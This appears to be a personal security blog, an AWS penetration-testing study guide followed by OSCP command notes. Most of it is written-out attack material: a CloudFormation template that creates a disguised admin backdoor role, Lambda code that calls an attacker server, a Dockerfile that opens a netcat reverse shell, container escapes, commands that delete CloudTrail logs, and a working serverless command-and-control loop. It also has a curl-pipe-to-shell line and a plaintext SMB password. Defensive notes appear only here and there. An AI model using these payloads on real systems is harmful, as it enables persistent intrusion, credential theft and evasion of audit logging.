An attacker can create an IAM role and allow themselves to AssumeRole, giving them long-term access to the AWS account:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21


AWSTemplateFormatVersion: '2010-09-09'
Resources:
 HiddenIAMRole:
 Type: AWS::IAM::Role
 Properties:
 RoleName: "AWS-Support-Role"
 AssumeRolePolicyDocument:
 Version: "2012-10-17"
 Statement:
 - Effect: Allow
 Principal:
 AWS: "ATTACKER_AWS_ACCOUNT_ID"
 Action: "sts:AssumeRole"
 Policies:
 - PolicyName: "HiddenAdminPolicy"
 PolicyDocument:
 Version: "2012-10-17"
 Statement:
 - Effect: Allow
 Action: "*"
 Resource: "*"

How to run it

1

aws cloudformation create-stack --stack-name IAMBackdoor --template-body file://hidden-role.yaml

Result

Creates the AWS-Support-Role** role, which looks like an official AWS support account and is less likely to make an administrator suspicious.**
The attacker’s account can use sts:AssumeRole** at any time. Even if an administrator deletes the users in the AWS account, the attacker can still access AWS.**

4. Inject Malicious Code Through Lambda

An attacker can use CloudFormation to deploy a malicious Lambda function and execute code inside AWS:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16


AWSTemplateFormatVersion: '2010-09-09'
Resources:
 MaliciousLambda:
 Type: AWS::Lambda::Function
 Properties:
 FunctionName: "AWSMonitor"
 Runtime: "python3.8"
 Role: "arn:aws:iam::123456789012:role/LambdaExecutionRole"
 Handler: "index.lambda_handler"
 Code:
 ZipFile: |
 import os
 import subprocess
 def lambda_handler(event, context):
 subprocess.call("curl -X POST -d 'AWS Access Compromised' http://ATTACKER_SERVER", shell=True)
 return "Executed"

How to run it

1

aws cloudformation create-stack --stack-name LambdaBackdoor --template-body file://malicious-lambda.yaml

Result

Creates the AWSMonitor** Lambda function, disguised as an AWS monitoring tool so that administrators are less likely to notice it.**
When Lambda runs, it sends data to the attacker’s server, and the attacker can use it to execute remote commands.

One more point here: the important thing with CloudFormation is knowing how to use it. There is no need to study it obsessively in depth; you could even have AI produce the result. The boto3 library in Lambda is different, though. You need to use it often, it can do a lot of things, and you absolutely have to learn it.

ECS Container Escape

ECS is a container orchestration service provided by AWS. You can think of it as AWS’s version of a Docker management platform, similar to Kubernetes (though not exactly the same).

ECS escape mainly involves two modes:

ECS on EC2: ECS running on EC2, where the attack target is the underlying EC2 instance.
ECS on Fargate: A serverless way to run ECS, where the goal is to escape to other AWS resources (such as IAM, S3, and so on).

Outline

1. Privileged container mode (I won’t reproduce native docker penetration techniques here, only set up the environment to understand the architecture)

Goal: Use a privileged container running on ECS to escape to the host Attack methods:

If the task definition enables privileged: true, you can directly use chroot to enter the host
Use cap_add: SYS_ADMIN to access the ECS host’s cgroup or /proc
Run a --privileged container to gain root privileges on the ECS host

2. Abusing ECS task definitions (key section)

Goal: Execute malicious commands through a misconfigured ECS task definition Attack methods:

Deploy a malicious image (containing a reverse shell)
Add credentials as environment variables in the task definition (to steal AWS access keys)
Mount /var/run/docker.sock to access the host’s Docker API (Docker API escape)

3. Mount escape (I won’t reproduce native docker penetration techniques here)

Goal: Use --mount type=bind to access the ECS host’s file system Attack methods:

Mount /root/.aws/credentials to access AWS credentials
Mount the /etc/ directory to obtain sensitive configuration from the ECS host
Mount /var/lib/docker/ to directly manipulate the Docker file system and access other containers

4. API Credential leakage (I’ve already studied this, so I won’t reproduce it)

Goal: ECS tasks may contain AWS IAM role credentials, allowing lateral movement through the cloud environment Attack methods:

Access the AWS metadata service through an ECS container

1

curl http://169.254.169.254/latest/meta-data/iam/security-credentials/

Obtain the ECS task’s IAM Role and use aws configure to access the AWS API
Steal AWS access keys and try to access S3, EC2, and DynamoDB

Privileged Container Escape

How It Works

Use privileged mode (--privileged), mount /, and access the ECS host

Environment Setup

I originally copied and pasted all the steps so you could simply follow them one by one, but it wasn’t actually that easy. I got stuck here for an entire day and spent that day learning how ECS works. Its architecture is seriously impressive, so it took me quite a while to learn. That’s exactly why I deleted the original written steps and used images to show the environment setup instead. If you’re interested in this service, you can go through every step I took and learn how it works. This isn’t a basic concept, and once you’ve learned the steps below, you’ll pretty much know how to use it.

Just click Create. The next step is the task definition. Once the setup is complete, I’ll explain how these pieces connect to one another and what the architecture looks like.

Just click Create. Next, enable privileged mode (there is no option for privileged mode, so you can only edit the json).

1

sleep,infinity

Just click Create. A single wrong step can cause it to fail. Pay particular attention to adding the comma in the command field—I was stuck on this for quite a while too.

Now that we’ve reached this point, let me first explain the overall process. When creating the cluster, select the free EC2 option, open port 22 in the security group, and set the minimum value to 1. This way, an EC2 instance will be created automatically when you finish creating the cluster. What happens if the minimum is still left at the default value of 0? You either have to create an EC2 instance yourself and add it to ECS, or every time you start a task like the one above, it will create an EC2 instance by itself and run the task. You can see how troublesome it would be to start another EC2 instance as the physical machine for docker when the minimum value is 0. That finishes the cluster. Now let’s look at what a task definition actually is. A task definition mainly describes what you want to run. You define things like: How many resources does it need? What image does it need? What services should be mapped? Can it interact with AWSAPI? All of that can be defined here. In other words, this defines the kind of docker service you want to run. The cluster is essentially a collection of docker instances, and here we’ve just defined one type of docker. Next, we need to deploy that docker to the cluster. This is the final task deployment step: we deploy the task we just defined to the EC2 instance in the cluster we created, and we also override its command. Why do we override the command with sleep infinity?

Let me use a separate paragraph to explain the definitions of tasks and services.

A task simply ends once it has finished running. For example, scheduled jobs, machine learning training jobs, and other one-off tasks are done as soon as they finish running; they don’t need to keep running. When you want to run a long-lived service such as nginx, you need to create a service. That’s the basic idea. This is also why we write sleep infinity: it keeps the task alive; otherwise, it shuts down immediately after it finishes. You can try leaving out sleep infinity. After submitting the task, you’ll immediately see a message in the cluster saying that the task has ended. The two are not fundamentally all that different, and it isn’t really a matter of one being more convenient than the other. Tasks are simply better for understanding the basic concepts because the logic is very clear. I won’t set up a service later on either.

Overall, this is still very complicated and may be quite hard to understand. Try setting up the whole thing yourself once, and it should start to make sense.

Reproduction and Verification

Use SSH to log in to the EC2 instance we just created.

The agent comes preinstalled. The one above it is the docker task we created. (If you don’t use the automatic method to create a physical machine for docker and configure it yourself instead, you’ll need to install this agent.)

Because of the configuration we just made, this is already running in privileged mode.

That’s as far as we’ll go here. Everything after this is the classic docker privileged-mode escape. If you’re interested, you can find the answer everywhere on Baidu or google. One thing worth noting is that amazonlinux started as a task generally lacks many things because it is so small. Starting it as a service actually gives you a little more. Because of this, some commands used for a privileged-mode escape from a task may not exist. At this point, this is really just a standard docker vulnerability, and this is how it works. ECS is simply a tool similar to K8S for managing docker, nothing more.

Additional Notes

After reading this far, you might feel that we spent all this time setting up ECS only to end up reproducing a vulnerability in docker itself, so why bother with the setup when it is both mentally exhausting and time-consuming? But that isn’t the case. While setting up the environment, we learned how to set up ECS, studied its basic concepts, and understood its architecture. Cloud security isn’t only about attacks; it also includes defense. Many people say you need to understand attacks before you know how to defend against them, but first you have to understand the underlying logic. Take SQL injection, for example. Once you know how injection works, you know how to defend against it. Say you’re given a WAF and asked to block SQL injection. You write a rule that filters out every ‘) at the interface that interacts with the backend database. The attacker discovers that the rule seems to filter ‘), then bypasses it with URL encoding and can still run queries using union, select, sleep, substr, and so on. Once you notice that, you start frantically adding regexes and rules to block those statements, while the attacker keeps trying to bypass them. But did you notice? The underlying principle is still transformed SQL statements and encoding-based bypasses. Only when you truly understand the principles and logic behind SQL injection, and understand how attackers and defenders improve and iterate, can you see the core of offense and defense. Neither side ever escapes the original concepts. This is exactly why you should personally set up ECS once to understand its concepts and architecture. Cloud security always combines offense and defense.

Abusing ECS Task Definitions

1. Exploit ECS task-definition misconfigurations to execute malicious commands or steal credentials

2. Exploit ECS task-definition errors to gain access to the ECS host

3. Mount the host’s Docker API through an ECS task definition to access other containers

I won’t set up environments for these three methods. The explanations should be clear enough, and they’re all fairly simple overall.

1. Deploying a Malicious Image

ECS lets users create their own task definitions (Task Definition) and then pull and run images from ECR (Elastic Container Registry) or Docker Hub.

If an attacker can create or modify an ECS task definition, they can deploy a backdoored malicious image, for example:

An image with a built-in reverse Shell
An image with built-in AWS access keys
An image with a built-in scheduled task that periodically uploads sensitive data

The attacker uploads a malicious image

Build an image containing a reverse Shell:

1
2
3


FROM ubuntu
RUN apt update && apt install -y netcat
CMD /bin/bash -c "while true; do nc -e /bin/bash attacker-ip 4444; sleep 10; done"

Push it to your own ECR

1
2
3
4


docker build -t my-malicious-image .
aws ecr create-repository --repository-name evil-repo
docker tag my-malicious-image <aws-account-id>.dkr.ecr.us-east-1.amazonaws.com/evil-repo:latest
docker push <aws-account-id>.dkr.ecr.us-east-1.amazonaws.com/evil-repo:latest

Modify the ECS task definition
Change the image in the task definition to the malicious image:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11


{
 "containerDefinitions": [
 {
 "name": "evil-container",
 "image": "<aws-account-id>.dkr.ecr.us-east-1.amazonaws.com/evil-repo:latest",
 "cpu": 512,
 "memory": 512,
 "essential": true
 }
 ]
}

Register the ECS task definition and run the task

1
2


aws ecs register-task-definition --cli-input-json file://evil-task.json
aws ecs run-task --cluster my-cluster --task-definition evil-task

The attacker remotely controls the ECS task
Once the ECS task starts, it automatically opens a reverse Shell:

1

nc -lvnp 4444

The attacker gains control of the ECS container and can continue attacking the ECS host or AWS resources

Let’s talk about why the target would end up using our image. There are three main methods that can be combined: supply-chain attacks (tampering with a vendor image), image-name confusion attacks, and AWS ECS task-definition errors. These methods are pretty easy to understand, and there’s plenty about them online if you search.

2. Adding Credentials as Environment Variables in a Task Definition

ECS allows environment variables in task definitions. If an administrator accidentally hardcodes AWS keys in those environment variables, an attacker can obtain them.

View the current task’s environment variables

1

env

If it returns:

1
2


AWS_ACCESS_KEY_ID=AKIAXXXX
AWS_SECRET_ACCESS_KEY=XXXXXX

This means the ECS task has stored the AWS keys in environment variables, and an attacker can use them directly.

3. Mounting `/var/run/docker.sock` to Access the Host

An ECS task can mount the host’s docker.sock. If an administrator misconfigures it, an attacker can directly control Docker on the host and escape to the ECS host.

Mount docker.sock in the ECS task definition

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22


{
 "containerDefinitions": [
 {
 "name": "privileged-container",
 "image": "ubuntu",
 "mountPoints": [
 {
 "sourceVolume": "docker-sock",
 "containerPath": "/var/run/docker.sock"
 }
 ]
 }
 ],
 "volumes": [
 {
 "name": "docker-sock",
 "host": {
 "sourcePath": "/var/run/docker.sock"
 }
 }
 ]
}

Once the ECS task is running, the attacker can directly control Docker from inside the container
Enter the container

1

docker exec -it ecs-privileged-container /bin/bash

Use docker.sock to control the ECS host

1
2


docker -H unix:///var/run/docker.sock ps
docker -H unix:///var/run/docker.sock run -it --privileged ubuntu bash

The attacker creates a new privileged container to escape from the ECS container

1
2


docker -H unix:///var/run/docker.sock run -it --privileged -v /:/host ubuntu bash
chroot /host

ECS on Fargate Penetration & Escape

All the scenarios mentioned earlier involved exploiting EC2 instances running as Docker hosts. In practice, they were all native Docker vulnerabilities, nothing particularly special. The abuse section then touched on a few AWS exploitation techniques, but that was really all there was to it. So what exactly is the Fargate option we have not used? It is actually an AWS serverless container service. You do not need to manage EC2 yourself; AWS handles it for you. So how do you penetrate it? Based on what we learned above, there is essentially no path for breaking out. Breaching the underlying AWS Fargate infrastructure would be a pipe dream for us. The methods available are still the basic ones. Forget about Docker vulnerabilities: you will not be given privileged mode or anything like that. There is no mystery here; it is actually very simple, so just make a note of it.

When a Fargate task runs, AWS automatically assigns it an IAM Role for accessing AWS resources. From inside the Fargate task, you can access the metadata service (IMDSv2) to obtain temporary access credentials. This is ECS metadata exploitation; just look up the commands. I am only showing the principle here.
A Fargate task’s task definition (Task Definition) may contain environment variables or mounted sensitive files. If an administrator misconfigures it, an attacker may obtain AWS access keys, read database passwords, or access sensitive S3 resources. In practice, this just means checking env for keys, looking for /root/.aws/credentials, and searching for files such as find / -name “*.pem”.
Fargate tasks can run in a public subnet or a private subnet. If an administrator misconfigures them:

An attacker can use a Fargate task to access internal services in the AWS VPC
An attacker can use a Fargate task to access other AWS resources
An attacker can use a Fargate task as a proxy server

Finding a Fargate task’s network configuration

1
2


ip a
route -n

If eth0 is bound to a VPC CIDR, the Fargate task is running in a private subnet
If route -n contains 0.0.0.0/0, the Fargate task can access the Internet
Using a Fargate task to access internal AWS resources

1
2


nc -z -v internal-rds.amazonaws.com 3306
nc -z -v internal-elasticsearch.amazonaws.com 9200

Using a Fargate task to establish a reverse proxy

1

ssh -R 8080:internal-rds.amazonaws.com:3306 attacker@remote-server

The third point is slightly more complicated, so it deserves a separate explanation. A VPC can have many different network configurations. If all kinds of AWS services are running across its subnets, we can build a tunnel to access them. You can think of it as entering the cloud-side internal network of the target AWS account. There may be a bunch of EC2 instances inside, or other things as well. From there, it is simply a matter of lateral movement through the cloud.

Additional ECS Container Exploitation

Abusing ECS Exec

Legitimate purpose: AWS ECS Exec is designed to provide debugging capabilities, allowing operations staff to enter a container directly through the AWS CLI or console and execute commands, such as checking logs or debugging services.
Core requirements:

The task definition must enable "enableExecuteCommand": true.
The operator must have the ecs:ExecuteCommand IAM permission.

Attack Scenarios and Exploitation Conditions

Prerequisites

Credential exposure: The attacker has obtained IAM credentials with the ecs:ExecuteCommand permission, such as a developer account or an overprivileged role.
Task misconfiguration: enableExecuteCommand is enabled in the task definition, and the relevant permissions have not been restricted.

Enumerate executable tasks:

1
2
3
4
5
6


# List all ECS clusters
aws ecs list-clusters
# List tasks in the cluster
aws ecs list-tasks --cluster <CLUSTER_NAME>
# Check whether Exec is enabled for the task
aws ecs describe-tasks --cluster <CLUSTER> --tasks <TASK_ID> | grep "enableExecuteCommand"

Enter the container through Exec:

1
2
3
4
5
6
7


# Use the AWS CLI to execute a command (for example, start an interactive shell)
aws ecs execute-command \
 --cluster <CLUSTER_NAME> \
 --task <TASK_ID> \
 --container <CONTAINER_NAME> \
 --command "/bin/sh" \
 --interactive

If successful, the attacker gains Shell access inside the container.

Conclusion to Advanced Attack Techniques

At this point, we have essentially covered every part of AWS penetration testing. The advanced techniques are clearly much harder than the earlier material. The earlier sections focused on basic service exploitation methods, standard penetration-testing workflows, and so on, whereas advanced attacks involve combining multiple services.

Take leaked AWS CLI credentials as an example. The basics only teach what a particular permission does, how to reproduce the scenario, and how to use that permission for penetration testing. The advanced material is more about finding leaks, escalating privileges, and establishing persistence. It brushes over the basics and only mentions which permissions exist and which permissions can be combined for an attack. It no longer spends ages on any single service. Like the outline headings suggest, it combines techniques, ideas, and methods.

Then there are malicious CloudFormation templates. While learning them, you might think, “How is this any different from before? Aren’t we still just learning all the services in CloudFormation?” The difference is that you first need to understand the characteristics of every service. We know that CloudFormation templates can be used in penetration testing and can obtain extensive permissions, but do you know how to create a highly privileged user or role? The template runs without returning output, so how do you retrieve the generated key? It is more like a collection of exploitation techniques spanning every service, with the CloudFormation template serving as the vehicle. It can control all AWS services, and learning to use it assumes that you already know all those AWS services.

The final topic is ECS containers. I wrote a few thoughts at the end of the ECS container escape section. Most people probably assume that learning to penetrate ECS simply means learning Docker penetration testing, and everyone knows that ECS resembles K8S. But ECS lives in the cloud. It is not limited to attacks involving Docker access; there is a cloud side as well. Anyone who has finished building an ECS environment knows that the setup is somewhat complicated, which also shows how well designed the architecture is. When learning AWS cloud security, you cannot focus solely on attack techniques and commands. It is not enough if you do not understand the logic behind them. After you have fallen into a pile of traps while setting up ECS and finally get it working, you understand the principles behind the service.

In reality, offense and defense are inseparable, and studying both is extremely important for understanding. It means you can work on both blue and red teams, with each side helping the other grow. By this point, you have also learned a great deal about AWS services and discovered that even the free offerings can do a lot. As I said in the AWS fundamentals section, you can already try building a website, creating a storage bucket for files, and much more. This section covered a lot of penetration-testing material, which means that after building your own environment, you can try establishing a security baseline for your AWS services. Once you understand how they are attacked, you know what areas your defenses should focus on.

There is one final major module left in AWS penetration testing —– defense evasion techniques

Defense Evasion Techniques

This part is extremely difficult, but it is also very useful. For the most part, I will only list a heading and explain the principle, since implementation is somewhat difficult. Experts can try implementing these techniques themselves. Once I have finished more of my studies, I will also start moving in this direction.

AWS has several security monitoring and logging mechanisms, such as:

GuardDuty (intrusion detection) CloudTrail (API event logs) VPC Flow Logs (traffic monitoring) AWS Config (compliance monitoring)

The attacker’s goal is to bypass these monitoring mechanisms and hide malicious actions.

GuardDuty Evasion Techniques

Low-Frequency API Calls

Principle: AWS GuardDuty uses machine learning models to detect abnormal API activity, such as high-frequency operations and cross-region calls. By reducing the frequency of sensitive operations (for example, to once per hour), it may be possible to evade statistics-based detection rules.
Example:

1
2
3
4
5


# Exfiltrate the S3 object list once per hour
while true; do
 aws s3 ls s3://sensitive-bucket --region us-west-1 >> /tmp/result.txt
 sleep 3600 # One-hour interval
done

Defensive detection:

Enable GuardDuty Threat Lists to flag known malicious IPs.
Use custom Security Hub rules to match low-frequency sensitive operations, such as running iam:CreateUser once per hour.
Analyze time-series patterns in CloudTrail logs to identify periodic behavior.

Proxying Traffic Through Legitimate Services

Principle: Forward malicious traffic through native AWS services such as Lambda and API Gateway, causing GuardDuty to identify the attack traffic as legitimate service activity.
Example (Lambda proxy for C2):

Create a malicious Lambda function:

1
2
3
4
5
6


import os
def lambda_handler(event, context):
 # Receive a Base64-encoded command from API Gateway
 command = event['queryStringParameters']['cmd']
 result = os.popen(command).read()
 return {'statusCode': 200, 'body': result}

Trigger it through API Gateway:

1
2


# Send an encoded command (avoid plaintext logging)
curl "https://xxx.execute-api.region.amazonaws.com/prod?cmd=$(echo 'whoami' | base64)"

Defensive detection:

Monitor Lambda cold-start frequency and abnormal execution times, such as functions that run for a long time.
Enable VPC Traffic Mirroring to capture outbound traffic from Lambda functions.
Use GuardDuty’s Backdoor:EC2/LambdaClient rule to detect suspicious function calls.
The encryption method can be customized; both RSA and AES will work.

Deleting CloudTrail Logs

Deleting a Specific Log Trail

Commands:

1
2
3
4


# Delete the default CloudTrail trail
aws cloudtrail delete-trail --name Default
# Stop logging
aws cloudtrail stop-logging --name Default

Evasion effect: This prevents new logs from being generated, but historical logs remain stored in the S3 bucket and require separate cleanup.
Defensive measures:

Enable Multi-Region Trail logging to prevent logs from being deleted in a single region.
Enable S3 versioning + MFA Delete to prevent log files from being overwritten.
Restrict IAM permissions so that non-administrator users cannot perform cloudtrail:DeleteTrail or cloudtrail:StopLogging.

Erasing Historical Logs

Example:

1
2
3
4
5


# If a dedicated log bucket exists, identify it before clearing anything; do not delete indiscriminately
# Empty the associated S3 log bucket
aws s3 rm s3://cloudtrail-bucket --recursive
# Delete the S3 bucket
aws s3 rb s3://cloudtrail-bucket --force

Defensive measures:

Configure S3 Object Lock to make log files undeletable.
Enable an AWS Organizations Service Control Policy (SCP) to prevent member accounts from changing logging configurations.

Hiding the IP Address (Serverless C2)

Reverse Proxy with Lambda + API Gateway

Architecture:

Attacker → API Gateway → Lambda (forwards requests) → controlled container/EC2 → S3 bucket (stores results)

Steps:

Create a Lambda forwarder

1
2
3
4
5
6
7
8
9


import boto3
def lambda_handler(event, context):
 s3 = boto3.client('s3')
 # Receive a command from API Gateway and write it to S3
 cmd = event['queryStringParameters']['cmd']
 s3.put_object(Bucket='c2-bucket', Key='commands/latest', Body=cmd)
 # Read the execution result
 response = s3.get_object(Bucket='c2-bucket', Key='results/latest')
 return {'statusCode': 200, 'body': response['Body'].read()}

Periodically fetch commands from inside the container

1
2
3
4
5
6
7


# Scheduled task in the controlled container
while true; do
 aws s3 cp s3://c2-bucket/commands/latest - > /tmp/cmd.sh
 sh /tmp/cmd.sh > /tmp/result.txt
 aws s3 cp /tmp/result.txt s3://c2-bucket/results/latest
 sleep 300
done

Stealth advantages:

All communications pass through AWS’s internal network, with the source IP shown as lambda.amazonaws.com.
API Gateway supports HTTPS encryption, making the traffic look no different from normal business traffic.

This is a little complicated, but it is extremely useful (you will need to learn the boto3 library). It is essentially serverless C2. The main goal is to control the target container or EC2 without being discovered. As shown in the architecture above, the attacker uses an API to control the Lambda forwarder. So what exactly is API Gateway? It is basically a trigger, and you can find it in the service. Once the trigger has been defined, you can append a command to the URL.

1

curl -X GET "https://xxx.execute-api.region.amazonaws.com/prod?cmd=bHMgaS9ldGM="

This effectively passes the command into cmd. Now let’s look at the received json.

1
2
3
4
5
6
7
8
9


# Example event structure received by the Lambda function
{
 "queryStringParameters": {
 "cmd": "bHMgaS9ldGM=" # Base64 encoding of "ls /etc"
 }
}

# This locates the Base64-encoded command, so the script defines it as follows
# cmd = event['queryStringParameters']['cmd']

Of course, Base64 decoding and so on would still be needed, but that was not included. In short, Lambda receives the command, and the Lambda code automatically writes that command to results/latest in the bucket. Once the command has been stored, how does the controlled EC2 execute it? You can use a scheduled task that runs every hour or perhaps every half hour; either works. The scheduled task mainly downloads the file from results/latest, names it xxxx.sh, executes it, writes the result to /tmp/result.txt, and then uploads it back to the S3 bucket, perhaps at results/result.txt, though it can be anywhere. So how should it be read? Reading it directly could still get you discovered. You can instead use Lambda + API Gateway again and set up an API trigger that takes no parameters. Visiting it will automatically return the contents of the file at results/result.txt in the S3 bucket. That makes the architecture pretty much perfect.

This is only one possible route. You can add a great many things to it in practice, and this idea can be extended into many other methods. Now let’s look at the defensive side.

Detection points:

API Gateway request frequency: Frequent calls may trigger GuardDuty’s TTP:Discovery/CloudApis.
S3 bucket access patterns: Frequent overwrites of the same path, such as commands/latest.

Defensive recommendations:

Enable access logging and object versioning for S3 buckets to track file changes.
Monitor the number of Lambda executions and S3 write operations, and configure threshold alerts.
Use Macie to automatically scan S3 for sensitive data, such as keys in result.txt.

AWS Penetration Testing Automation Tools

1. Cloud Environment Reconnaissance & Asset Discovery

(1) Pacu

Purpose: A full-spectrum AWS environment attack framework that supports modular attacks such as privilege escalation, backdoor implantation, and data exfiltration.
Key features:
- Automatically enumerates IAM permissions, S3 buckets, EC2 instances, and more.
- Simulates attack chains, such as scanning for privilege escalation paths with iam__privesc_scan.
Project URL: https://github.com/RhinoSecurityLabs/pacu
Usage example:

1
2
3
4


# Initialize and configure AWS keys
pacu
set_keys
run iam__privesc_scan # Scan IAM privilege-escalation paths

(2) CloudMapper

Purpose: Visually analyzes AWS environments, including VPC, IAM, S3, and more, and generates a network topology map.
Key features:
- Maps cross-region VPC connections.
- Flags public S3 buckets and EC2 security groups.
Project URL: https://github.com/duo-labs/cloudmapper
Usage example:

1
2


python3 cloudmapper.py collect --account my-account
python3 cloudmapper.py report --account my-account

2. Privilege Escalation & Vulnerability Exploitation

(1) WeirdAAL

Purpose: Automatically detects abuse of AWS API permissions, such as sts:AssumeRole and iam:CreateUser.
Key features:
- Quickly scans IAM policies for dangerous permissions.
- Generates reproducible attack code in Python.
Project URL: https://github.com/carnal0wnage/weirdAAL
Usage example:

1

python3 weirdAAL.py -m iam_createaccesskey

(2) AWS PWN

Purpose: An automated privilege escalation tool covering more than 20 privilege escalation paths across services such as EC2, Lambda, and S3.
Key features:
- Detects abuse of EC2 instance role permissions.
- Uses Lambda functions to execute code and steal metadata.
Project URL: https://github.com/dagrz/aws_pwn
Usage example:

1

python3 aws_pwn.py --profile victim-profile --module lambda_backdoor

3. Buckets & Data Exposure

(1) S3Scanner

Purpose: Scans public S3 buckets in bulk and detects sensitive files such as credentials and config.
Key features:
- Supports custom keyword filters such as AKIA and secret.
- Exports readable reports in CSV/JSON format.
Project URL: https://github.com/sa7mon/S3Scanner
Usage example:

1

python3 s3scanner.py --bucket names.txt --keywords secrets.txt

(2) bucket-stream

Purpose: Monitors newly created S3 buckets in real time and checks for public access permissions.
Key features:
- Uses CertStream to monitor domain changes and discover related buckets.
- Automatically flags high-risk buckets, such as those in website mode.
Project URL: https://github.com/eth0izzle/bucket-stream
Usage example:

1

python3 bucket-stream.py --firehose

4. Lateral Movement & Backdoor Implantation

(1) Cloudsplaining

Purpose: Analyzes excessive permissions in IAM policies and generates an attack path diagram.
Key features:
- Flags iam:PassRole and sts:AssumeRole permissions that could enable privilege escalation.
- Outputs an HTML visualization report.
Project URL: https://github.com/salesforce/cloudsplaining
Usage example:

1
2


cloudsplaining download --profile default
cloudsplaining scan --input-file default.json

(2) Lambda-Proxy

Purpose: A serverless reverse proxy based on Lambda and API Gateway that enables covert C2 communications.
Key features:
- Supports HTTPS-encrypted traffic.
- Dynamically generates random API paths to evade WAF detection.
Project URL: https://github.com/pumasecurity/lambda-proxy
Usage example:

1
2


serverless deploy --stage prod # Deploy to AWS
curl https://xxx.execute-api.region.amazonaws.com/prod/command?cmd=whoami

5. Log Cleanup & Anti-Detection

(1) CloudTrail Mutator

Purpose: Automatically cleans up CloudTrail logs and deletes specified event records.
Key features:
- Supports fuzzy keyword matching, such as DeleteTrail and StopLogging.
- Bypasses multi-region log backup mechanisms.
Project URL: https://github.com/Anon-Exploiter/CloudTrail-Mutator
Usage example:

1

python3 cloudtrail_mutator.py --profile target --filter "DeleteTrail"

(2) GuardDog

Purpose: Emulates GuardDuty detection logic to test whether attack techniques can be detected.
Key features:
- Generates simulated attack events such as PenTest:IAMUser/KaliLinux.
- Outputs an estimate of the probability of a GuardDuty alert.
Project URL: https://github.com/DataDog/guarddog
Usage example:

1

guarddog simulate --attack "S3:GetObjectAnonymously"

6. Advanced Covert Communications

(1) AWS Lambda C2

Purpose: A serverless C2 framework built entirely on Lambda and S3 that supports encrypted command delivery.
Key features:
- Stores commands in fragments to evade frequency-based detection.
- Automatically cleans up results to reduce log residue.
Project URL: https://github.com/0x4D31/aws-lambda-c2
Usage example:

1
2
3
4


# Deploy the backdoor
python3 deploy.py --region us-west-1
# Send a command
python3 c2-client.py --command "curl http://malicious.com/shell.sh | sh"

(2) S3C2

Purpose: Uses an S3 bucket as a covert communication channel, supporting file transfers and command execution.
Key features:
- Uses presigned URLs to update commands dynamically.
- Encrypts communication content with AES-256.
Project URL: https://github.com/blackhat/secutils
Usage example:

1

./s3c2-client.py --bucket my-c2-bucket --get-command

Conclusion on AWS Cloud Security

That essentially wraps up AWS penetration testing. There may be some penetration testing techniques I have not mentioned, but I believe most of them are covered here. In particular, the defense-evasion techniques in the final section are already advanced methods for red-team operations in cloud environments. You only need to learn one of the languages supported by Lambda and how to call AWS resources, and then you can develop a serverless C2. If you know python, you can use RSA/AES to encrypt communications; if you know JAVA, you can also serialize commands. In short, the goal is simply to delay detection for as long as possible. I have now finished the parts I needed to learn. If my future work involves AWS cloud security and gives me the chance to participate in it deeply (apparently this role only exists overseas :?), I can take things another step further. From here on, I will need to rely more on my own exploration. My practical skills and understanding of the services are already very solid; what I still lack is theoretical knowledge. Once I have learned all of this, I can start preparing for the AWS Certified Security certification. Combining theory with hands-on practice is the only way to develop further.

At the moment, I still need to learn the boto3 library, the basics of writing CloudFormation templates, and how other cloud providers such as aliyun differ. After that, I should be more or less done.

OSCP Exploit Notes

Sat, 04 Jan 2025 12:50:00 +0800

1.cewl

Detailed tutorial: Tool Guide — cewl_Tongdita’s Blog - CSDN

This refers to another researcher’s blog.

I’m only noting down the two commands I use most often:

cewl http://192.168.15.146/ -w dict.txt # Crawl the page and generate a dictionary in the current directory

cewl http://192.168.15.146/ -n -e # Crawl for email addresses

2.netdiscover

A network-scanning tool (Kali routing analysis).

It can quickly discover live hosts. Scanning an entire range with only nmap or masscan can be slow; discovering the hosts first makes the detailed scan a little faster.

netdiscover -i eth0 -r 192.168.1.0/24

3.gobuster

I find this a little better than dirb and Yujian. dirb is powerful, but it is too slow and can hang when the wordlist is too large.

The collector’s edition of Yujian I use can only brute-force specified directories. Although I can edit its built-in wordlist, I cannot append extensions such as .php or .html. In other words, it can only brute-force exactly what appears in the wordlist.

gobuster dir -u http://192.168.1.7:33447 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,js

gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,js,txt -k -t 50 -u http://doctors.htb/

4.foremost

Kali Linux provides a dedicated file-recovery tool called Foremost. It analyzes the headers, footers, and internal data structures of different file types, compares them against the data in an image file, and recovers the files.

foremost strcpy.exe

5.sudo

sudo -l : For privilege escalation, start with sudo -l to see which commands can be run as which users, then execute the appropriate one.

sudo -s : Enter a password to try to temporarily obtain a high-privilege root account.

6.SUID Privilege Escalation

Look for commands that can be run with sudo, then find the corresponding command for Linux privilege escalation.

find / -perm -u=s -type f 2>/dev/null

find / -group pinky 2>/dev/null # Check executable files for a particular group; this can turn up other useful things too

find / -user root -writable -type f -not -path “/proc/*” 2>/dev/null # Find ordinary files owned by root but writable, skip /proc, and suppress errors

find / -user root -writable -type d -not -path “/proc/*” 2>/dev/null # Find writable directories

find / -type f -perm 777 2>/dev/null

7.showmount

Use showmount to “display mount information for an NFS server.” See help for details.

showmount -e 192.168.1.9

8.enum4linux

A tool for enumerating SMB services on Windows and Linux systems. See help for details.

enum4linux 192.168.1.9

enum4linux -a -o 192.168.1.9

9.mount

Use this together with showmount to mount a remote directory from the target locally.

1

showmount -e 10.10.10.180

mkdir ./nfsshare

mount -t nfs 192.168.1.9:2049/var/nfsshare ./nfsshare

If an NFS share reports insufficient permissions, the usual fix is to access the target host, check the ID of the account with permission on that directory, and then create a user with the same ID locally, as shown below. An existing mounted share may be inaccessible because the root_squash flag is set. We can safely assume that if we have a user named vulnix with the same UID, we will be able to access it.

Create the user:

useradd -u “id” “username”

useradd -u 2008 vulnix

Mount it: (use this if the command above has problems) mount -t nfs 192.168.1.7:/home/vulnix ./vulnix -nolock

10.smbmap

A command-line tool for quickly scanning and inspecting SMB (Server Message Block) shares.

smbmap -H <target IP/hostname> -u <username> -p <password>

smbmap -H 192.168.1.9

smbmap -H 192.168.1.9 -r anonymous

1

smbmap -H 10.10.10.193 -u tlavel -p 'TfWScpg3aEEi' -r -q

11.smbclient

A client program for accessing shared resources. Use –help to see the detailed commands.

smbclient //192.168.1.9/secured -U divid

